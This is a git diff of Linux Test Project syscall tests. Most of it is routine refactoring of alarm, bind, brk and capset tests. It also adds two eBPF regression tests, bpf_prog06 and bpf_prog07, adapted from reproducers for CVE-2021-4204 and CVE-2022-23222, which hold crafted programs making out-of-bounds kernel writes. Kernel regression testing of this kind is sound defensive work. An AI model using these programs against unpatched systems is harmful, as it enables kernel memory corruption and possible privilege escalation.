SPDX-License-Identifier: GPL-2.0-or-later -/* Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. +/* + * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Author: Billy Jean Horne - * - * Test Description: - * 1) alarm() return UINT_MAX if seconds is UINT_MAX. - * 2) alarm() return UINT_MAX/2 if seconds is UINT_MAX/2. - * 3) alarm() return UINT_MAX/4 if seconds is UINT_MAX/4. + * Copyright (c) Linux Test Project, 2009-2022 */ -#include -#include -#include -#include +/*\ + * [Description] + * + * Verify that alarm() returns: + * + * - zero when there was no previously scheduled alarm + * - number of seconds remaining until any previously scheduled alarm + */ #include "tst_test.h" @@ -29,37 +30,17 @@ static struct tcase { static void verify_alarm(unsigned int n) { struct tcase *tc = &tcases[n]; - unsigned int ret; alarms_received = 0; - ret = alarm(tc->sec); - if (ret != 0) { - tst_res(TFAIL, - "alarm(%u) returned %ld, when 0 was ", - tc->sec, TST_RET); - return; - } + TST_EXP_PASS(alarm(tc->sec), "alarm(%u)", tc->sec); - TEST(alarm(0)); - if (alarms_received == 1) { - tst_res(TFAIL, - "alarm(%u) signal was received for value %s", - tc->sec, tc->str); - return; - } + TST_EXP_VAL(alarm(0), tc->sec); - if (tc->sec != TST_RET) { - tst_res(TFAIL, - "alarm(%u) returned %ld as unexpected", - tc->sec, TST_RET); - return; + if (alarms_received == 1) { + tst_res(TFAIL, "alarm(%u) delivered SIGALRM for seconds value %s", + tc->sec, tc->str); } - - tst_res(TPASS, - "alarm(%u) returned %ld as expected " - "for value %s", - tc->sec, TST_RET, tc->str); } static void sighandler(int sig) diff --git a/testcases/kernel/syscalls/alarm/alarm03.c b/testcases/kernel/syscalls/alarm/alarm03.c index c0341827..b010e754 100755 --- a/testcases/kernel/syscalls/alarm/alarm03.c +++ b/testcases/kernel/syscalls/alarm/alarm03.c @@ -2,53 +2,32 @@ /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Author: Richard Logan + * Copyright (c) Linux Test Project, 2001-2022 + */ + +/*\ + * [Description] * - * Test Description: - * The process does a fork: - * 1) By the value returned by child's alarm(0), check whether child - * process cleared the previously specified alarm request or not. - * 2) By the value returned by parent's alarm(0), check whether parent - * process cleared the previously specified alarm request or not. + * Verify that alarms created by alarm() are not inherited by children + * created via fork. */ -#include -#include #include -#include - #include "tst_test.h" static void verify_alarm(void) { pid_t pid; - TEST(alarm(100)); + TST_EXP_PASS_SILENT(alarm(100)); pid = SAFE_FORK(); if (pid == 0) { - TEST(alarm(0)); - if (TST_RET != 0) { - tst_res(TFAIL, - "alarm(100), fork, alarm(0) child's " - "alarm returned %ld", TST_RET); - } else { - tst_res(TPASS, - "alarm(100), fork, alarm(0) child's " - "alarm returned %ld", TST_RET); - } + TST_EXP_PASS(alarm(0), "alarm(0) in child process"); exit(0); } - TEST(alarm(0)); - if (TST_RET != 100) { - tst_res(TFAIL, - "alarm(100), fork, alarm(0) parent's " - "alarm returned %ld", TST_RET); - } else { - tst_res(TPASS, - "alarm(100), fork, alarm(0) parent's " - "alarm returned %ld", TST_RET); - } + TST_EXP_VAL(alarm(0), 100, "alarm(0) in parent process"); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/alarm/alarm05.c b/testcases/kernel/syscalls/alarm/alarm05.c index c60f9899..2eeb1c22 100755 --- a/testcases/kernel/syscalls/alarm/alarm05.c +++ b/testcases/kernel/syscalls/alarm/alarm05.c @@ -5,10 +5,12 @@ * 06/2005 Test for alarm cleanup by Amos Waterland * * Copyright (c) 2018 Cyril Hrubis + * Copyright (c) Linux Test Project, 2006-2022 */ -/* - * Test Description: +/*\ + * [Description] + * * The return value of the alarm system call should be equal to the * amount previously remaining in the alarm clock. * A SIGALRM signal should be received after the specified amount of @@ -17,34 +19,17 @@ #include "tst_test.h" -static volatile int alarms_fired = 0; +static volatile int alarms_fired; static void run(void) { - unsigned int ret; - alarms_fired = 0; - ret = alarm(10); - if (ret) - tst_res(TFAIL, "alarm() returned non-zero"); - else - tst_res(TPASS, "alarm() returned zero"); - + TST_EXP_PASS(alarm(10)); sleep(1); - - ret = alarm(1); - if (ret == 9) - tst_res(TPASS, "alarm() returned remainder correctly"); - else - tst_res(TFAIL, "alarm() returned wrong remained %u", ret); - + TST_EXP_VAL(alarm(1), 9); sleep(2); - - if (alarms_fired == 1) - tst_res(TPASS, "alarm handler fired once"); - else - tst_res(TFAIL, "alarm handler filred %u times", alarms_fired); + TST_EXP_EQ_LU(alarms_fired, 1); } static void sighandler(int sig) diff --git a/testcases/kernel/syscalls/alarm/alarm06.c b/testcases/kernel/syscalls/alarm/alarm06.c index eee9429a..82c0d44b 100755 --- a/testcases/kernel/syscalls/alarm/alarm06.c +++ b/testcases/kernel/syscalls/alarm/alarm06.c @@ -2,28 +2,19 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (C) 2017 Cyril Hrubis + * Copyright (c) Linux Test Project, 2002-2022 * Ported to LTP: Wayne Boyer */ -/* - * Check the functionality of the Alarm system call when the time input - * parameter is zero. +/*\ + * [Description] * - * Expected Result: - * The previously specified alarm request should be cancelled and the - * SIGALRM should not be received. + * Verify that any pending alarm() is canceled when seconds is zero. */ -#include -#include -#include -#include -#include -#include - #include "tst_test.h" -static volatile int alarms_received = 0; +static volatile int alarms_received; static void sigproc(int sig) { @@ -38,25 +29,15 @@ static void setup(void) static void verify_alarm(void) { - int ret; - - alarm(2); + TST_EXP_PASS_SILENT(alarm(2)); sleep(1); - ret = alarm(0); + TST_EXP_VAL(alarm(0), 1); /* Wait for signal SIGALRM */ sleep(2); - if (alarms_received) - tst_res(TFAIL, "Received %i alarms", alarms_received); - else - tst_res(TPASS, "Received 0 alarms"); - - if (ret == 1) - tst_res(TPASS, "alarm(0) returned 1"); - else - tst_res(TFAIL, "alarm(0) returned %i, expected 1", ret); + TST_EXP_EQ_LU(alarms_received, 0); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/alarm/alarm07.c b/testcases/kernel/syscalls/alarm/alarm07.c index 47c30dc7..64aed507 100755 --- a/testcases/kernel/syscalls/alarm/alarm07.c +++ b/testcases/kernel/syscalls/alarm/alarm07.c @@ -2,45 +2,38 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Author: Wayne Boyer + * Copyright (c) Linux Test Project, 2002-2022 + */ + +/*\ + * [Description] * - * Test Description: - * By the SIGALRM signal, check whether the previously specified alarm request - * was cleared in the child process or not. + * Verify that SIGALRM signal scheduled by alarm() in the parent process + * is not delivered to the child process. */ -#include #include -#include -#include - #include "tst_test.h" -static volatile int alarm_cnt = 0; +static volatile int alarm_cnt; static void verify_alarm(void) { pid_t pid; + alarm_cnt = 0; - TEST(alarm(1)); + TST_EXP_PASS_SILENT(alarm(1)); pid = SAFE_FORK(); sleep(3); if (pid == 0) { - if (alarm_cnt == 0) { - tst_res(TPASS, "alarm() request cleared in child"); - } else { - tst_res(TFAIL, "alarm() request not cleared in " - "child; alarms received:%d", alarm_cnt); - } + TST_EXP_EQ_LU(alarm_cnt, 0); exit(0); } - if (alarm_cnt != 1) - tst_res(TFAIL, "Sigalarms in parent %i, expected 1", alarm_cnt); - else - tst_res(TPASS, "Got 1 sigalarm in parent"); + TST_EXP_EQ_LU(alarm_cnt, 1); } static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) diff --git a/testcases/kernel/syscalls/bind/bind03.c b/testcases/kernel/syscalls/bind/bind03.c index 37a040b2..8c95cd79 100755 --- a/testcases/kernel/syscalls/bind/bind03.c +++ b/testcases/kernel/syscalls/bind/bind03.c @@ -43,8 +43,12 @@ static void run(void) * locks the socket and does all the checks and the node is not removed * in the error path. For now we will unlink the node here so that the * test works fine when the run() function is executed in a loop. + * From v5.14-rc1 the kernel has fix above issue. */ - unlink(SNAME_B); + if (tst_kvercmp(5, 14, 0) >= 0) + TST_EXP_FAIL(unlink(SNAME_B), ENOENT, "check exist of SNAME_B"); + else + unlink(SNAME_B); } static void setup(void) diff --git a/testcases/kernel/syscalls/bind/bind04.c b/testcases/kernel/syscalls/bind/bind04.c index de43b6c1..d8456e73 100755 --- a/testcases/kernel/syscalls/bind/bind04.c +++ b/testcases/kernel/syscalls/bind/bind04.c @@ -97,7 +97,7 @@ static void *peer_thread(void *tc_ptr) else response = "Invalid request value"; - SAFE_WRITE(1, sock, response, strlen(response) + 1); + SAFE_WRITE(SAFE_WRITE_ALL, sock, response, strlen(response) + 1); SAFE_CLOSE(sock); return NULL; } @@ -139,7 +139,7 @@ static void test_bind(unsigned int n) &remote_len); rand_index = rand() % ARRAY_SIZE(testcase_list); - SAFE_WRITE(1, sock, &rand_index, sizeof(rand_index)); + SAFE_WRITE(SAFE_WRITE_ALL, sock, &rand_index, sizeof(rand_index)); size = SAFE_READ(0, sock, buffer, BUFFER_SIZE - 1); buffer[size] = '\0'; diff --git a/testcases/kernel/syscalls/bind/bind05.c b/testcases/kernel/syscalls/bind/bind05.c index c43593fe..a9498557 100755 --- a/testcases/kernel/syscalls/bind/bind05.c +++ b/testcases/kernel/syscalls/bind/bind05.c @@ -99,7 +99,7 @@ static void *peer_thread(void *tc_ptr) sizeof(struct sockaddr_un)); SAFE_CONNECT(sock, tc->address, tc->addrlen); - SAFE_WRITE(1, sock, &request, sizeof(request)); + SAFE_WRITE(SAFE_WRITE_ALL, sock, &request, sizeof(request)); SAFE_READ(1, sock, &request, sizeof(request)); if (request < ARRAY_SIZE(testcase_list)) @@ -107,7 +107,7 @@ static void *peer_thread(void *tc_ptr) else response = "Invalid request value"; - SAFE_WRITE(1, sock, response, strlen(response) + 1); + SAFE_WRITE(SAFE_WRITE_ALL, sock, response, strlen(response) + 1); SAFE_CLOSE(sock); if (tc->address->sa_family == AF_UNIX) diff --git a/testcases/kernel/syscalls/bind/bind06.c b/testcases/kernel/syscalls/bind/bind06.c index 297311c0..7c3300c4 100755 --- a/testcases/kernel/syscalls/bind/bind06.c +++ b/testcases/kernel/syscalls/bind/bind06.c @@ -14,13 +14,11 @@ * net/packet: fix a race in packet_bind() and packet_notifier() */ -#define _GNU_SOURCE #include #include #include #include #include -#include #include "tst_test.h" #include "tst_fuzzy_sync.h" @@ -30,17 +28,9 @@ static struct tst_fzsync_pair fzsync_pair; static void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); struct ifreq ifr; - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid); + tst_setup_netns(); fd = SAFE_SOCKET(AF_PACKET, SOCK_DGRAM, PF_PACKET); strcpy(ifr.ifr_name, "lo"); @@ -102,16 +92,16 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, - .timeout = 600, + .max_runtime = 300, .taint_check = TST_TAINT_W | TST_TAINT_D, .needs_kconfigs = (const char *[]) { "CONFIG_USER_NS=y", "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "15fe076edea7"}, diff --git a/testcases/kernel/syscalls/bpf/.gitignore b/testcases/kernel/syscalls/bpf/.gitignore index 42365cef..aad90020 100755 --- a/testcases/kernel/syscalls/bpf/.gitignore +++ b/testcases/kernel/syscalls/bpf/.gitignore @@ -4,3 +4,5 @@ bpf_prog02 bpf_prog03 bpf_prog04 bpf_prog05 +bpf_prog06 +bpf_prog07 diff --git a/testcases/kernel/syscalls/bpf/bpf_common.c b/testcases/kernel/syscalls/bpf/bpf_common.c index c2331ab5..95b5bc12 100755 --- a/testcases/kernel/syscalls/bpf/bpf_common.c +++ b/testcases/kernel/syscalls/bpf/bpf_common.c @@ -136,7 +136,7 @@ void bpf_run_prog(const int prog_fd, SAFE_SETSOCKOPT(sk[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)); - SAFE_WRITE(1, sk[0], msg, msg_len); + SAFE_WRITE(SAFE_WRITE_ALL, sk[0], msg, msg_len); SAFE_CLOSE(sk[0]); SAFE_CLOSE(sk[1]); diff --git a/testcases/kernel/syscalls/bpf/bpf_common.h b/testcases/kernel/syscalls/bpf/bpf_common.h index 39764ba1..a0800d19 100755 --- a/testcases/kernel/syscalls/bpf/bpf_common.h +++ b/testcases/kernel/syscalls/bpf/bpf_common.h @@ -13,6 +13,7 @@ #include "lapi/socket.h" #define BPF_MEMLOCK_ADD (2*1024*1024) +#define BUFSIZE 8192 /* map[array_indx] = reg_to_save * diff --git a/testcases/kernel/syscalls/bpf/bpf_prog01.c b/testcases/kernel/syscalls/bpf/bpf_prog01.c index e2fc80a9..de4f68ce 100755 --- a/testcases/kernel/syscalls/bpf/bpf_prog01.c +++ b/testcases/kernel/syscalls/bpf/bpf_prog01.c @@ -63,7 +63,7 @@ int load_prog(int fd) BPF_EXIT_INSN(), /* return r0 */ }; - bpf_init_prog_attr(attr, PROG, sizeof(PROG), log, BUFSIZ); + bpf_init_prog_attr(attr, PROG, sizeof(PROG), log, BUFSIZE); return bpf_load_prog(attr, log); } diff --git a/testcases/kernel/syscalls/bpf/bpf_prog02.c b/testcases/kernel/syscalls/bpf/bpf_prog02.c index b40ea0f1..fd3e535c 100755 --- a/testcases/kernel/syscalls/bpf/bpf_prog02.c +++ b/testcases/kernel/syscalls/bpf/bpf_prog02.c @@ -64,7 +64,7 @@ static int load_prog(int fd) BPF_EXIT_INSN(), /* 26: return r0 */ }; - bpf_init_prog_attr(attr, insn, sizeof(insn), log, BUFSIZ); + bpf_init_prog_attr(attr, insn, sizeof(insn), log, BUFSIZE); return bpf_load_prog(attr, log); } @@ -117,7 +117,7 @@ static struct tst_test test = { .bufs = (struct tst_buffers []) { {&key, .size = sizeof(*key)}, {&val, .size = sizeof(*val)}, - {&log, .size = BUFSIZ}, + {&log, .size = BUFSIZE}, {&attr, .size = sizeof(*attr)}, {&msg, .size = sizeof(MSG)}, {}, diff --git a/testcases/kernel/syscalls/bpf/bpf_prog04.c b/testcases/kernel/syscalls/bpf/bpf_prog04.c index ebee26cb..cf3bb125 100755 --- a/testcases/kernel/syscalls/bpf/bpf_prog04.c +++ b/testcases/kernel/syscalls/bpf/bpf_prog04.c @@ -28,7 +28,6 @@ #include "tst_capability.h" #include "bpf_common.h" -#define BUFSIZE 8192 #define CHECK_BPF_RET(x) ((x) >= 0 || ((x) == -1 && errno != EACCES)) static const char MSG[] = "Ahoj!"; diff --git a/testcases/kernel/syscalls/bpf/bpf_prog05.c b/testcases/kernel/syscalls/bpf/bpf_prog05.c index 2be5a2cc..742beab0 100755 --- a/testcases/kernel/syscalls/bpf/bpf_prog05.c +++ b/testcases/kernel/syscalls/bpf/bpf_prog05.c @@ -52,8 +52,6 @@ #include "tst_capability.h" #include "bpf_common.h" -#define BUFSIZE 8192 - static const char MSG[] = "Ahoj!"; static char *msg; diff --git a/testcases/kernel/syscalls/bpf/bpf_prog06.c b/testcases/kernel/syscalls/bpf/bpf_prog06.c new file mode 100644 index 00000000..cee9616c --- /dev/null +++ b/testcases/kernel/syscalls/bpf/bpf_prog06.c @@ -0,0 +1,156 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2022 SUSE LLC + */ + +/*\ + * [Description] + * + * ringbuf_submit takes a pointer to a ringbuf record, but not the + * size of this record. The verifier only validates offset ptrs[1] passed + * to functions if the function has a size parameter. So we can + * perform a wide range of ptr arithmetic on this record ptr. + * + * ringbuf_submit updates some data (i.e. the length) in the + * ringbuf header which is calculated from the record ptr. So this can + * be used to corrupt memory. + * + * This test does not try to cause a crash. Howver it does run the + * eBPF if it can. This will result in an instant crash or memory + * corruption which may later cause a crash. + * + * This test is adapted from a full reproducer which can be found here: + * https://github.com/tr3ee/CVE-2021-4204 + * + * It's recommended to disable unprivileged eBPF by setting + * /proc/sys/kernel/unprivileged_bpf_disabled. Also there is a + * specific fix for this issue: + * + * commit 64620e0a1e712a778095bd35cbb277dc2259281f + * Author: Daniel Borkmann + * Date: Tue Jan 11 14:43:41 2022 +0000 + * + * bpf: Fix out of bounds access for ringbuf helpers + * + * [1]: Depending on the ptr/reg type + */ + +#include +#include +#include + +#include "config.h" +#include "tst_test.h" +#include "tst_taint.h" +#include "tst_capability.h" +#include "lapi/bpf.h" +#include "bpf_common.h" + +static const char MSG[] = "Ahoj!"; +static char *msg; + +static int map_fd; +static uint32_t *key; +static uint64_t *val; +static char *log; +static union bpf_attr *attr; + +static int load_prog(void) +{ + int ret; + const struct bpf_insn prog_insn[] = { + // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, 0xff0, 0) + BPF_LD_MAP_FD(BPF_REG_1, map_fd), + BPF_MOV64_IMM(BPF_REG_2, 0xff0), + BPF_MOV64_IMM(BPF_REG_3, 0x00), + BPF_EMIT_CALL(BPF_FUNC_ringbuf_reserve), + + // if (r0 == NULL) exit(2) + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), + BPF_MOV64_IMM(BPF_REG_0, 2), + BPF_EXIT_INSN(), + + // r0 = BPF_FUNC_ringbuf_submit(r0-(0x3008-0x38), BPF_RB_NO_WAKEUP) + BPF_ALU64_IMM(BPF_SUB, BPF_REG_0, (0x3008-0x38)), + BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), + BPF_MOV64_IMM(BPF_REG_2, 1), + BPF_EMIT_CALL(BPF_FUNC_ringbuf_submit), + + /* exit(0) */ + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + + bpf_init_prog_attr(attr, prog_insn, sizeof(prog_insn), log, BUFSIZE); + + ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)), + TST_RETVAL_GE0); + + if (ret >= 0) + return ret; + + if (ret != -1) + tst_brk(TBROK, "Invalid bpf() return value: %d", ret); + + if (log[0] != 0) + tst_printf("%s\n", log); + + return ret; +} + +static void setup(void) +{ + rlimit_bump_memlock(); + memcpy(msg, MSG, sizeof(MSG)); +} + +static void run(void) +{ + int prog_fd; + + map_fd = bpf_map_create(&(union bpf_attr){ + .map_type = BPF_MAP_TYPE_RINGBUF, + .key_size = 0, + .value_size = 0, + .max_entries = getpagesize() + }); + + tst_res(TINFO, "Trying to load eBPF with OOB write"); + prog_fd = load_prog(); + if (prog_fd == -1) { + tst_res(TPASS, "Failed verification"); + return; + } + + tst_res(TFAIL, "Loaded program with OOB write"); + tst_res(TINFO, "Running eBPF with OOB"); + bpf_run_prog(prog_fd, msg, sizeof(MSG)); + tst_res(TINFO, "Ran eBPF"); + + SAFE_CLOSE(prog_fd); +} + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .min_kver = "5.8", + .taint_check = TST_TAINT_W | TST_TAINT_D, + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), + TST_CAP(TST_CAP_DROP, CAP_BPF), + {} + }, + .bufs = (struct tst_buffers []) { + {&key, .size = sizeof(*key)}, + {&val, .size = sizeof(*val)}, + {&log, .size = BUFSIZE}, + {&attr, .size = sizeof(*attr)}, + {&msg, .size = sizeof(MSG)}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "64620e0a1e71"}, + {"CVE", "CVE-2021-4204"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/bpf/bpf_prog07.c b/testcases/kernel/syscalls/bpf/bpf_prog07.c new file mode 100644 index 00000000..dab5bb8a --- /dev/null +++ b/testcases/kernel/syscalls/bpf/bpf_prog07.c @@ -0,0 +1,164 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2022 SUSE LLC + */ + +/*\ + * [Description] + * + * The verifier did not properly restrict some *_OR_NULL pointer + * types. Including RET_PTR_TO_ALLOC_MEM_OR_NULL which is returned by + * ringbuf_reserve. Somehow this means they can be used to perform + * arbitrary pointer arithmetic. + * + * The test tries to do some pointer arithmetic on the return value of + * ringbuf_reserve. Possibly with a trick to make the verifier believe + * the pointer (in r1) is NULL. The test will pass if the eBPF is + * rejected and will fail otherwise. + * + * This test does not try to cause a crash. Howver it does run the + * eBPF if it can. This will result in an instant crash or memory + * corruption which may later cause a crash. + * + * This test is adapted from a full reproducer which can be found here: + * https://github.com/tr3ee/CVE-2022-23222 + * + * It's recommended to disable unprivileged eBPF by setting + * /proc/sys/kernel/unprivileged_bpf_disabled. Also there is a + * specific fix for this issue: + * + * commit 64620e0a1e712a778095bd35cbb277dc2259281f + * Author: Daniel Borkmann + * Date: Tue Jan 11 14:43:41 2022 +0000 + * + * bpf: Fix out of bounds access for ringbuf helpers + */ + +#include +#include +#include +#include + +#include "config.h" +#include "tst_test.h" +#include "tst_taint.h" +#include "tst_capability.h" +#include "lapi/bpf.h" +#include "bpf_common.h" + +static const char MSG[] = "Ahoj!"; +static char *msg; + +static int map_fd; +static uint32_t *key; +static uint64_t *val; +static char *log; +static union bpf_attr *attr; + +static int load_prog(void) +{ + int ret; + const struct bpf_insn prog_insn[] = { + // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0) + BPF_LD_MAP_FD(BPF_REG_1, map_fd), + BPF_MOV64_IMM(BPF_REG_2, getpagesize()), + BPF_MOV64_IMM(BPF_REG_3, 0x00), + BPF_EMIT_CALL(BPF_FUNC_ringbuf_reserve), + + BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), + + // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); } + BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5), + BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), + BPF_MOV64_IMM(BPF_REG_2, 1), + BPF_EMIT_CALL(BPF_FUNC_ringbuf_discard), + BPF_MOV64_IMM(BPF_REG_0, 2), + BPF_EXIT_INSN(), + + // *(sp + 4*r1) = INT32_MAX + BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 8), + BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8), + BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1), + BPF_ST_MEM(BPF_DW, BPF_REG_3, 0, INT32_MAX), + + /* exit(0) */ + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + + }; + + bpf_init_prog_attr(attr, prog_insn, sizeof(prog_insn), log, BUFSIZE); + + ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)), + TST_RETVAL_GE0); + + if (ret >= 0) + return ret; + + if (ret != -1) + tst_brk(TBROK, "Invalid bpf() return value: %d", ret); + + if (log[0] != 0) + tst_printf("%s\n", log); + + return ret; +} + +static void setup(void) +{ + rlimit_bump_memlock(); + memcpy(msg, MSG, sizeof(MSG)); +} + +static void run(void) +{ + int prog_fd; + + map_fd = bpf_map_create(&(union bpf_attr){ + .map_type = BPF_MAP_TYPE_RINGBUF, + .key_size = 0, + .value_size = 0, + .max_entries = getpagesize() + }); + + tst_res(TINFO, "Trying to load eBPF with OOB write"); + prog_fd = load_prog(); + if (prog_fd == -1) { + tst_res(TPASS, "Failed verification"); + return; + } + + tst_res(TFAIL, "Loaded program with OOB write"); + tst_res(TINFO, "Running eBPF with OOB"); + bpf_run_prog(prog_fd, msg, sizeof(MSG)); + tst_res(TINFO, "Ran eBPF"); + + SAFE_CLOSE(prog_fd); +} + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .min_kver = "5.8", + .taint_check = TST_TAINT_W | TST_TAINT_D, + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), + TST_CAP(TST_CAP_DROP, CAP_BPF), + {} + }, + .bufs = (struct tst_buffers []) { + {&key, .size = sizeof(*key)}, + {&val, .size = sizeof(*val)}, + {&log, .size = BUFSIZE}, + {&attr, .size = sizeof(*attr)}, + {&msg, .size = sizeof(MSG)}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "64620e0a1e71"}, + {"CVE", "CVE-2022-23222"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/brk/brk01.c b/testcases/kernel/syscalls/brk/brk01.c index a9b89bce..978e1f21 100755 --- a/testcases/kernel/syscalls/brk/brk01.c +++ b/testcases/kernel/syscalls/brk/brk01.c @@ -9,14 +9,31 @@ #include #include "tst_test.h" +#include "lapi/syscalls.h" -void verify_brk(void) +static void verify_brk(void) { - uintptr_t cur_brk, new_brk; - uintptr_t inc = getpagesize() * 2 - 1; + void *cur_brk, *new_brk; + size_t inc = getpagesize() * 2 - 1; unsigned int i; - cur_brk = (uintptr_t)sbrk(0); + if (tst_variant) { + tst_res(TINFO, "Testing syscall variant"); + cur_brk = (void *)tst_syscall(__NR_brk, 0); + } else { + tst_res(TINFO, "Testing libc variant"); + cur_brk = (void *)sbrk(0); + + if (cur_brk == (void *)-1) + tst_brk(TCONF, "sbrk() not implemented"); + + /* + * Check if brk itself is implemented: updating to the current break + * should be a no-op. + */ + if (brk(cur_brk) != 0) + tst_brk(TCONF, "brk() not implemented"); + } for (i = 0; i < 33; i++) { switch (i % 3) { @@ -31,16 +48,17 @@ void verify_brk(void) break; } - TST_EXP_PASS_SILENT(brk((void *)new_brk), "brk()"); - if (!TST_PASS) - return; - - cur_brk = (uintptr_t)sbrk(0); + if (tst_variant) { + cur_brk = (void *)tst_syscall(__NR_brk, new_brk); + } else { + TST_EXP_PASS_SILENT(brk(new_brk), "brk()"); + cur_brk = sbrk(0); + } if (cur_brk != new_brk) { tst_res(TFAIL, "brk() failed to set address have %p expected %p", - (void *)cur_brk, (void *)new_brk); + cur_brk, new_brk); return; } @@ -54,4 +72,5 @@ void verify_brk(void) static struct tst_test test = { .test_all = verify_brk, + .test_variants = 2, }; diff --git a/testcases/kernel/syscalls/brk/brk02.c b/testcases/kernel/syscalls/brk/brk02.c index 11e803cb..64931bc8 100755 --- a/testcases/kernel/syscalls/brk/brk02.c +++ b/testcases/kernel/syscalls/brk/brk02.c @@ -5,6 +5,7 @@ /*\ * [Description] + * * Expand brk() by at least 2 pages to ensure there is a newly created VMA * and not expanding the original due to multiple anon pages. mprotect() that * new VMA then brk() back to the original address therefore causing a munmap of @@ -14,24 +15,54 @@ #include #include #include "tst_test.h" +#include "lapi/syscalls.h" -void brk_down_vmas(void) +static void *brk_variants(void *addr) { - void *brk_addr = sbrk(0); + void *brk_addr; - if (brk_addr == (void *) -1) - tst_brk(TBROK, "sbrk() failed"); + if (tst_variant) { + brk_addr = (void *)tst_syscall(__NR_brk, addr); + } else { + TST_EXP_PASS_SILENT(brk(addr), "brk()"); + brk_addr = (void *)sbrk(0); + } + + return brk_addr; +} + +static void brk_down_vmas(void) +{ + void *brk_addr; + + if (tst_variant) { + tst_res(TINFO, "Testing syscall variant"); + brk_addr = (void *)tst_syscall(__NR_brk, 0); + } else { + tst_res(TINFO, "Testing libc variant"); + brk_addr = (void *)sbrk(0); + + if (brk_addr == (void *)-1) + tst_brk(TCONF, "sbrk() not implemented"); + + /* + * Check if brk itself is implemented: updating to the current break + * should be a no-op. + */ + if (brk(brk_addr) != 0) + tst_brk(TCONF, "brk() not implemented"); + } unsigned long page_size = getpagesize(); void *addr = brk_addr + page_size; - if (brk(addr)) { + if (brk_variants(addr) < addr) { tst_res(TFAIL | TERRNO, "Cannot expand brk() by page size"); return; } addr += page_size; - if (brk(addr)) { + if (brk_variants(addr) < addr) { tst_res(TFAIL | TERRNO, "Cannot expand brk() by 2x page size"); return; } @@ -42,12 +73,12 @@ void brk_down_vmas(void) } addr += page_size; - if (brk(addr)) { + if (brk_variants(addr) < addr) { tst_res(TFAIL | TERRNO, "Cannot expand brk() after mprotect"); return; } - if (brk(brk_addr)) { + if (brk_variants(brk_addr) != brk_addr) { tst_res(TFAIL | TERRNO, "Cannot restore brk() to start address"); return; } @@ -57,4 +88,5 @@ void brk_down_vmas(void) static struct tst_test test = { .test_all = brk_down_vmas, + .test_variants = 2, }; diff --git a/testcases/kernel/syscalls/capset/capset01.c b/testcases/kernel/syscalls/capset/capset01.c index a323fc5b..25db8112 100755 --- a/testcases/kernel/syscalls/capset/capset01.c +++ b/testcases/kernel/syscalls/capset/capset01.c @@ -1,12 +1,20 @@ -// SPDX-License-Identifier: GPL-2.0-or-later +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. - * AUTHOR : Saji Kumar.V.R + * Author: Saji Kumar.V.R * - * CHANGES: - * 2005/01/01: add an hint to a possible solution when test fails - * - Ricky Ng-Adam + * 2005/01/01: add an hint to a possible solution when test fails + * Ricky Ng-Adam + * + * Copyright (c) Linux Test Project, 2003-2023 */ + +/*\ + * [Description] + * + * Test capset() with with LINUX_CAPABILITY_VERSION_{1,2,3}. + */ + #include #include #include "tst_test.h" diff --git a/testcases/kernel/syscalls/capset/capset02.c b/testcases/kernel/syscalls/capset/capset02.c index 5173be09..989f3e4c 100755 --- a/testcases/kernel/syscalls/capset/capset02.c +++ b/testcases/kernel/syscalls/capset/capset02.c @@ -2,21 +2,27 @@ /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. * Author: Saji Kumar.V.R - * + * Copyright (c) Linux Test Project, 2003-2023 + */ + +/*\ + * [Description] * Tests basic error handling of the capset syscall. 